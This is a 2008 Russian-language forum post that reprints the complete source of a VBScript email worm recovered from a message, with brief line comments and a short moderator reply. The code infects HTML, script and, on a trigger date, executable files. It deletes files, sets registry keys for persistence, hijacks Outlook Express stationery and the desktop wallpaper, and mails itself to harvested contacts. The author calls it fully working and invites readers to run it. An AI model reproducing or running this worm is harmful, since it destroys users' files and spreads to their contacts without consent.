Вирус на Vb Script
Автор
DJ FOTON
, ��� 26 2008 04:45 , 1 ответ в теме
#1
Отправлено 26 ���� 2008 - 04:45
В этой статье я немного расскажу о вирусах написанных на VB Script. Однажды, не так довно мне пришло письмо от пользователя в котором содержался вирус написанный на VBS. Каково было моё удивление, когда на письмо начала ругаться моя AVP . Да... давненько мне не присылали всяких вирусяг! Однако письмо не содержало никаких вложений, и я сразу понял, что вирус не простой и скорее всего написан на языке VBS так как в отличии от других скриптовых языков только VBS имеет прямые функции работы с файлами и способен влиять на содержимое за пределами тела своего скрипта. Расковыряв письмо, мне удалось вытащить само тело вируса, которое я вам и продемонстрирую. Опасность этого вируса заключается в том, что он инфицирует файлы с расширением HTML да ещё и способен прикреплятся к письмам, которые отправляются через электронную почту в формате HTML. Давайте рассмотрим само тело вируса и как оно работает. Символы Enter заменены на =0A=
<script language=3DVBScript>// говорится что это VBScript
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Rem I am sorry! happy time=0A=
On Error Resume Next=0A= // глушится сообщение об ошибках
mload=0A=
Sub mload()=0A=
On Error Resume Next=0A=
mPath =3D Grf()=0A=
Set Os =3D CreateObject("Scriptlet.TypeLib")=0A=// попытка создать файл
Set Oh =3D CreateObject("Shell.Application")=0A=
If IsHTML Then=0A=
mURL =3D LCase(document.Location)=0A=//попытка залезть в книгу адресов
If mPath =3D "" Then=0A=
Os.Reset=0A=
Os.Path =3D "C:\Help.htm"=0A=// создаёт файл HTML на диске и выставляет до него доступ
Os.Doc =3D Lhtml()=0A=// поиск HTML файлов
Os.Write()=0A=// задаётся цикл и вставка отдельным невидимым слоем вируса для заражения HTML документов
Ihtml =3D "<span style=3D'position:absolute'><Iframe src=3D'C:\Help.htm' =
width=3D'0' height=3D'0'></Iframe></span>"=0A=
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)=0A=
Else=0A=
If Iv(mPath, "Help.vbs") Then=0A=
setInterval "Rt()", 10000=0A=
Else=0A=
m =3D "hta"=0A=
If LCase(m) =3D Right(mURL, Len(m)) Then=0A=
id =3D setTimeout("mclose()", 1)=0A=
main=0A=
Else=0A=
Os.Reset()=0A=
Os.Path =3D mPath & "\" & "Help.hta"=0A=
Os.Doc =3D Lhtml()=0A=
Os.write()=0A=
Iv mPath, "Help.hta"=0A=
End If=0A=
End If=0A=
End If=0A=
Else=0A=
main=0A=
End If=0A=
End Sub=0A=
Sub main()=0A=
On Error Resume Next=0A=
Set Of =3D CreateObject("Scripting.FileSystemObject")=0A=
Set Od =3D CreateObject("Scripting.Dictionary")=0A=
Od.Add "html", "1100"=0A=
Od.Add "vbs", "0100"=0A=
Od.Add "htm", "1100"=0A=
Od.Add "asp", "0010"=0A=
Ks =3D "HKEY_CURRENT_USER\Software\"=0A=// лезет в реестр и прописывает себя на запуск
Ds =3D Grf()=0A=
Cs =3D Gsf()=0A=
If IsVbs Then=0A=
If Of.FileExists("C:\help.htm") Then=0A=// завершает работу с файлом
Of.DeleteFile ("C:\help.htm")=0A=// удаляет файл на диске с: в котором содержится вирус
End If=0A= // заканчивеат сессию
Key =3D CInt(Month(Date) + Day(Date))=0A=// устанавливает ключи запуска и пытается прописаться к запущенным библиотекам
If Key =3D 13 Then=0A=
Od.RemoveAll=0A=
Od.Add "exe", "0001"=0A=
Od.Add "dll", "0001"=0A=
End If=0A=
Cn =3D Rg(Ks & "Help\Count")=0A=
If Cn =3D "" Then=0A=
Cn =3D 1=0A=
End If=0A=
Rw Ks & "Help\Count", Cn + 1=0A=
f1 =3D Rg(Ks & "Help\FileName")=0A=
f2 =3D FNext(Of, Od, f1)=0A=
fext =3D GetExt(Of, Od, f2)=0A=
Rw Ks & "Help\FileName", f2=0A=
If IsDel(fext) Then=0A=
f3 =3D f2=0A=
f2 =3D FNext(Of, Od, f2)=0A=
Rw Ks & "Help\FileName", f2=0A=
Of.DeleteFile f3=0A=
Else=0A=
If LCase(WScript.ScriptFullname) <> LCase(f2) Then=0A=
Fw Of, f2, fext=0A=
End If=0A=
End If=0A=
If (CInt(Cn) Mod 366) =3D 0 Then=0A=
If (CInt(Second(Time)) Mod 2) =3D 0 Then=0A=
Tsend=0A=
Else=0A=
adds =3D Og=0A=
Msend (adds)=0A=
End If=0A=
End If=0A=// закончил сессию попытки присоединить своё тело к файлам
wp =3D Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")=0A=// пытается получить доступ до обоев рабочего стола
If Rg(Ks & "Help\wallPaper") <> wp Or wp =3D "" Then=0A=
If wp =3D "" Then=0A=
n1 =3D ""=0A=
n3 =3D Cs & "\Help.htm"=0A=
Else=0A=
mP =3D Of.GetFile(wp).ParentFolder=0A=
n1 =3D Of.GetFileName(wp)=0A=
n2 =3D Of.GetBaseName(wp)=0A=
n3 =3D Cs & "\" & n2 & ".htm"=0A=
End If=0A=
Set pfc =3D Of.CreateTextFile(n3, True)=0A=
mt =3D Sa("1100")=0A=
pfc.Write "<" & "HTML><" & "body bgcolor=3D'#007f7f' background=3D'" & =
n1 & "'><" & "/Body><" & "/HTML>" & mt=0A=
pfc.Close=0A=
Rw Ks & "Help\wallPaper", n3=0A=
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3=0A=
End If=0A=
Else=0A=
Set fc =3D Of.CreateTextFile(Ds & "\Help.vbs", True)=0A=
fc.Write Sa("0100")=0A=
fc.Close=0A=
bf =3D Cs & "\Untitled.htm"=0A=
Set fc2 =3D Of.CreateTextFile(bf, True)=0A=
fc2.Write Lhtml=0A=
fc2.Close=0A=// закончил попытку инфицировать обои рабочего стола и далее пробует создать своё тело для пересылки по электронной почте
oeid =3D Rg("HKEY_CURRENT_USER\Identities\Default User ID")=0A=
oe =3D "HKEY_CURRENT_USER\Identities\" & oeid & =
"\Software\Microsoft\Outlook Express\5.0\Mail"=0A=
MSH =3D oe & "\Message Send HTML"=0A=
CUS =3D oe & "\Compose Use Stationery"=0A=
SN =3D oe & "\Stationery Name"=0A=
Rw MSH, 1=0A=
Rw CUS, 1=0A=
Rw SN, bf=0A=
Web =3D Cs & "\WEB"=0A=
Set gf =3D Of.GetFolder(Web).Files=0A=
Od.Add "htt", "1100"=0A=
For Each m In gf=0A=
fext =3D GetExt(Of, Od, m)=0A=
If fext <> "" Then=0A=
Fw Of, m, fext=0A=
End If=0A=
Next=0A=
End If=0A=
End Sub=0A=
Sub mclose()=0A=
document.Write "<" & "title>I am sorry!</title" & ">"=0A=
window.Close=0A=
End Sub=0A=
Sub Rt()=0A=
Dim mPath=0A=
On Error Resume Next=0A=
mPath =3D Grf()=0A=
Iv mPath, "Help.vbs"=0A=
End Sub=0A=
Function Sa(n)=0A=
Dim VBSText, m=0A=
VBSText =3D Lvbs()=0A=
If Mid(n, 3, 1) =3D 1 Then=0A=
m =3D "<%" & VBSText & "%>"=0A=
End If=0A=
If Mid(n, 2, 1) =3D 1 Then=0A=
m =3D VBSText=0A=
End If=0A=
If Mid(n, 1, 1) =3D 1 Then=0A=
m =3D Lscript(m)=0A=
End If=0A=
Sa =3D m & vbCrLf=0A=
End Function=0A=
Sub Fw(Of, S, n)=0A=
Dim fc, fc2, m, mmail, mt=0A=
On Error Resume Next=0A=
Set fc =3D Of.OpenTextFile(S, 1)=0A=
mt =3D fc.ReadAll=0A=
fc.Close=0A=
If Not Sc(mt) Then=0A=
mmail =3D Ml(mt)=0A=
mt =3D Sa(n)=0A=
Set fc2 =3D Of.OpenTextFile(S, 8)=0A=
fc2.Write mt=0A=
fc2.Close=0A=
Msend (mmail)=0A=
End If=0A=
End Sub=0A=
Function Sc(S)=0A=
mN =3D "Rem I am sorry! happy time"=0A=
If InStr(S, mN) > 0 Then=0A=
Sc =3D True=0A=
Else=0A=
Sc =3D False=0A=
End If=0A=
End Function=0A=
Function FNext(Of, Od, S)=0A=
Dim fpath, fname, fext, T, gf=0A=
On Error Resume Next=0A=
fname =3D ""=0A=
T =3D False=0A=
If Of.FileExists(S) Then=0A=
fpath =3D Of.GetFile(S).ParentFolder=0A=
fname =3D S=0A=
ElseIf Of.FolderExists(S) Then=0A=
fpath =3D S=0A=
T =3D True=0A=
Else=0A=
fpath =3D Dnext(Of, "")=0A=
End If=0A=
Do While True=0A=
Set gf =3D Of.GetFolder(fpath).Files=0A=
For Each m In gf=0A=
If T Then=0A=
If GetExt(Of, Od, m) <> "" Then=0A=
FNext =3D m=0A=
Exit Function=0A=
End If=0A=
ElseIf LCase(m) =3D LCase(fname) Or fname =3D "" Then=0A=
T =3D True=0A=
End If=0A=
Next=0A=
fpath =3D Pnext(Of, fpath)=0A=
Loop=0A=
End Function=0A=
Function Pnext(Of, S)=0A=
On Error Resume Next=0A=
Dim Ppath, Npath, gp, pn, T, m=0A=
T =3D False=0A=
If Of.FolderExists(S) Then=0A=
Set gp =3D Of.GetFolder(S).SubFolders=0A=
pn =3D gp.Count=0A=
If pn =3D 0 Then=0A=
Ppath =3D LCase(S)=0A=
Npath =3D LCase(Of.GetParentFolderName(S))=0A=
T =3D True=0A=
Else=0A=
Npath =3D LCase(S)=0A=
End If=0A=
Do While Not Er=0A=
For Each pn In Of.GetFolder(Npath).SubFolders=0A=
If T Then=0A=
If Ppath =3D LCase(pn) Then=0A=
T =3D False=0A=
End If=0A=
Else=0A=
Pnext =3D LCase(pn)=0A=
Exit Function=0A=
End If=0A=
Next=0A=
T =3D True=0A=
Ppath =3D LCase(Npath)=0A=
Npath =3D Of.GetParentFolderName(Npath)=0A=
If Of.GetFolder(Ppath).IsRootFolder Then=0A=
m =3D Of.GetDriveName(Ppath)=0A=
Pnext =3D Dnext(Of, m)=0A=
Exit Function=0A=
End If=0A=
Loop=0A=
End If=0A=
End Function=0A=
Function Dnext(Of, S)=0A=
Dim dc, n, d, T, m=0A=
On Error Resume Next=0A=
T =3D False=0A=
m =3D ""=0A=
Set dc =3D Of.Drives=0A=
For Each d In dc=0A=
If d.DriveType =3D 2 Or d.DriveType =3D 3 Then=0A=
If T Then=0A=
Dnext =3D d=0A=
Exit Function=0A=
Else=0A=
If LCase(S) =3D LCase(d) Then=0A=
T =3D True=0A=
End If=0A=
If m =3D "" Then=0A=
m =3D d=0A=
End If=0A=
End If=0A=
End If=0A=
Next=0A=
Dnext =3D m=0A=
End Function=0A=
Function GetExt(Of, Od, S)=0A=
Dim fext=0A=
On Error Resume Next=0A=
fext =3D LCase(Of.GetExtensionName(S))=0A=
GetExt =3D Od.Item(fext)=0A=
End Function=0A=
Sub Rw(k, v)=0A=
Dim R=0A=
On Error Resume Next=0A=
Set R =3D CreateObject("WScript.Shell")=0A=
R.RegWrite k, v=0A=
End Sub=0A=
Function Rg(v)=0A=
Dim R=0A=
On Error Resume Next=0A=
Set R =3D CreateObject("WScript.Shell")=0A=
Rg =3D R.RegRead(v)=0A=
End Function=0A=
Function IsVbs()=0A=
Dim ErrTest=0A=
On Error Resume Next=0A=
ErrTest =3D WScript.ScriptFullname=0A=
If Err Then=0A=
IsVbs =3D False=0A=
Else=0A=
IsVbs =3D True=0A=
End If=0A=
End Function=0A=
Function IsHTML()=0A=
Dim ErrTest=0A=
On Error Resume Next=0A=
ErrTest =3D document.Location=0A=
If Er Then=0A=
IsHTML =3D False=0A=
Else=0A=
IsHTML =3D True=0A=
End If=0A=
End Function=0A=
Function IsMail(S)=0A=
Dim m1, m2=0A=
IsMail =3D False=0A=
If InStr(S, vbCrLf) =3D 0 Then=0A=
m1 =3D InStr(S, "@")=0A=
m2 =3D InStr(S, ".")=0A=
If m1 <> 0 And m1 < m2 Then=0A=
IsMail =3D True=0A=
End If=0A=
End If=0A=
End Function=0A=
Function Lvbs()=0A=
Dim f, m, ws, Of=0A=
On Error Resume Next=0A=
If IsVbs Then=0A=
Set Of =3D CreateObject("Scripting.FileSystemObject")=0A=
Set f =3D Of.OpenTextFile(WScript.ScriptFullname, 1)=0A=
Lvbs =3D f.ReadAll=0A=
Else=0A=
For Each ws In document.scripts=0A=
If LCase(ws.Language) =3D "vbscript" Then=0A=
If Sc(ws.Text) Then=0A=
Lvbs =3D ws.Text=0A=
Exit Function=0A=
End If=0A=
End If=0A=
Next=0A=
End If=0A=
End Function=0A=
Function Iv(mPath, mName)=0A=
Dim Shell=0A=
On Error Resume Next=0A=
Set Shell =3D CreateObject("Shell.Application")=0A=
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb=0A=
If Er Then=0A=
Iv =3D False=0A=
Else=0A=
Iv =3D True=0A=
End If=0A=
End Function=0A=
Function Grf()=0A=
Dim Shell, mPath=0A=
On Error Resume Next=0A=
Set Shell =3D CreateObject("Shell.Application")=0A=
mPath =3D "C:\"=0A=
For Each mShell In Shell.NameSpace(mPath).Items=0A=
If mShell.IsFolder Then=0A=
Grf =3D mShell.Path=0A=
Exit Function=0A=
End If=0A=
Next=0A=
If Er Then=0A=
Grf =3D ""=0A=
End If=0A=
End Function=0A=
Function Gsf()=0A=
Dim Of, m=0A=
On Error Resume Next=0A=
Set Of =3D CreateObject("Scripting.FileSystemObject")=0A=
m =3D Of.GetSpecialFolder(0)=0A=
If Er Then=0A=
Gsf =3D "C:\"=0A=
Else=0A=
Gsf =3D m=0A=
End If=0A=
End Function=0A=
Function Lhtml()=0A=
Lhtml =3D "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _=0A=
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _=0A=
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _=0A=
"<" & "/Body></HTML" & ">"=0A=
End Function=0A=// закончил создание своего тела для пересылки по электронной почте
Function Lscript(S)=0A=// ждёт когда произойдёт отправка письма для того чтобы прикрепить своё тело к ней
Lscript =3D "<" & "script language=3D'VBScript'>" & vbCrLf & _=0A=
S & "<" & "/script" & ">"=0A=
End Function=0A=
Function Sl(S1, S2, n)=0A=
Dim l1, l2, l3, i=0A=
l1 =3D Len(S1)=0A=
l2 =3D Len(S2)=0A=
i =3D InStr(S1, S2)=0A=
If i > 0 Then=0A=
l3 =3D i + l2 - 1=0A=
If n =3D 0 Then=0A=
Sl =3D Left(S1, i - 1)=0A=
ElseIf n =3D 1 Then=0A=
Sl =3D Right(S1, l1 - l3)=0A=
End If=0A=
Else=0A=
Sl =3D ""=0A=
End If=0A=
End Function=0A=
Function Ml(S)=0A=
Dim S1, S3, S2, T, adds, m=0A=
S1 =3D S=0A=
S3 =3D """"=0A=
adds =3D ""=0A=
S2 =3D S3 & "mailto" & ":"=0A=
T =3D True=0A=
Do While T=0A=
S1 =3D Sl(S1, S2, 1)=0A=
If S1 =3D "" Then=0A=
T =3D False=0A=
Else=0A=
m =3D Sl(S1, S3, 0)=0A=
If IsMail(m) Then=0A=
adds =3D adds & m & vbCrLf=0A=
End If=0A=
End If=0A=
Loop=0A=
Ml =3D Split(adds, vbCrLf)=0A=
End Function=0A=
Function Og()=0A=
Dim i, n, m(), Om, Oo=0A=
Set Oo =3D CreateObject("Outlook.Application")=0A=
Set Om =3D Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items=0A=
n =3D Om.Count=0A=
ReDim m(n)=0A=
For i =3D 1 To n=0A=
m(i - 1) =3D Om.Item(i).Email1Address=0A=
Next=0A=
Og =3D m=0A=
End Function=0A=
Sub Tsend()=0A=
Dim Od, MS, MM, a, m=0A=
Set Od =3D CreateObject("Scripting.Dictionary")=0A=
MConnect MS, MM=0A=
MM.FetchSorted =3D True=0A=
MM.Fetch=0A=
For i =3D 0 To MM.MsgCount - 1=0A=
MM.MsgIndex =3D i=0A=
a =3D MM.MsgOrigAddress=0A=
If Od.Item(a) =3D "" Then=0A=
Od.Item(a) =3D MM.MsgSubject=0A=
End If=0A=
Next=0A=
For Each m In Od.Keys=0A=
MM.Compose=0A=
MM.MsgSubject =3D "Fw: " & Od.Item(m)=0A=
MM.RecipAddress =3D m=0A=
MM.AttachmentPathName =3D Gsf & "\Untitled.htm"=0A=
MM.Send=0A=
Next=0A=
MS.SignOff=0A=
End Sub=0A=
Function MConnect(MS, MM)=0A=
Dim U=0A=
On Error Resume Next=0A=
Set MS =3D CreateObject("MSMAPI.MAPISession")=0A=
Set MM =3D CreateObject("MSMAPI.MAPIMessages")=0A=
U =3D Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging =
Subsystem\Profiles\DefaultProfile")=0A=
MS.UserName =3D U=0A=
MS.DownLoadMail =3D False=0A=
MS.NewSession =3D False=0A=
MS.LogonUI =3D True=0A=
MS.SignOn=0A=
MM.SessionID =3D MS.SessionID=0A=
End Function=0A=
Sub Msend(Address)=0A=
Dim MS, MM, i, a=0A=
MConnect MS, MM=0A=
i =3D 0=0A=
MM.Compose=0A=
For Each a In Address=0A=
If IsMail(a) Then=0A=
MM.RecipIndex =3D i=0A=
MM.RecipAddress =3D a=0A=
i =3D i + 1=0A=
End If=0A=
Next=0A=
MM.MsgSubject =3D " Help "=0A=
MM.AttachmentPathName =3D Gsf & "\Untitled.htm"=0A=
MM.Send=0A=
MS.SignOff=0A=
End Sub=0A=
Function Er()=0A=
If Err.Number =3D 0 Then=0A=
Er =3D False=0A=
Else=0A=
Err.Clear=0A=
Er =3D True=0A=
End If=0A=
End Function=0A=
Function IsDel(S)=0A=
If Mid(S, 4, 1) =3D 1 Then=0A=
IsDel =3D True=0A=
Else=0A=
IsDel =3D False=0A=
End If=0A=
End Function=0A=
=0A=
=0A=
// конец вредоносного скрипта
</SCRIPT>
Я не берусь дословно обьяснять, что происходит конкретно в каждой строчке скрипта. Как видите, этот скрипт может заражать файлы и пересылать своё тело по электронной почте для размножения. Этот скрипт является полностью рабочим если вам не жалко ваших HTML документов можете попробовать посмотреть на его работу.
Я не несу ответственности за применение данного скрипта пользователями в корыстных целях, а так же за применение этого скрипта на своих страничках ради любопытства или мести. Данный скрипт опубликован только для тех кому интересно, что внутри вируса!
#2
Отправлено 26 ���� 2008 - 04:49
В этот форум пишем токо свои статьи, и если это ваша статья ставте копирайт...
Статьи просто скопированные с других форумов и к которым присвоен ваш копирайт будут наказываться...